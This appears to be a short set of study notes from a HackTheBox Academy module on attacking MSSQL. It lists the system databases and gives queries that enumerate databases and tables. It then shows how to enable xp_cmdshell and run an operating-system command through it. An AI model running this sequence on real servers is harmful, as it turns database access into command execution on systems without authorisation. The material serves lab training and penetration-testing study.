MSSQL Commands
MSSQL default system schemas/databases:
master- keeps the information for an instance of SQL Server.msdb- used by SQL Server Agent.model- a template database copied for each new database.resource- a read-only database that keeps system objects visible in every database on the server in sys schema.tempdb- keeps temporary objects for SQL queries.
# It will show the name of existing database/s
SELECT name FROM master.dbo.sysdatabases
GO# It will use the htbusers database
USE htbusers
GO# It will show the names of existing table/s
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GOSELECT * FROM table_name
# It will enable the xp_cmdshell
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
# Then just run this
xp_cmdshell 'whoami'
GOhackthebox academy - attacking with common service (mssql)
Last updated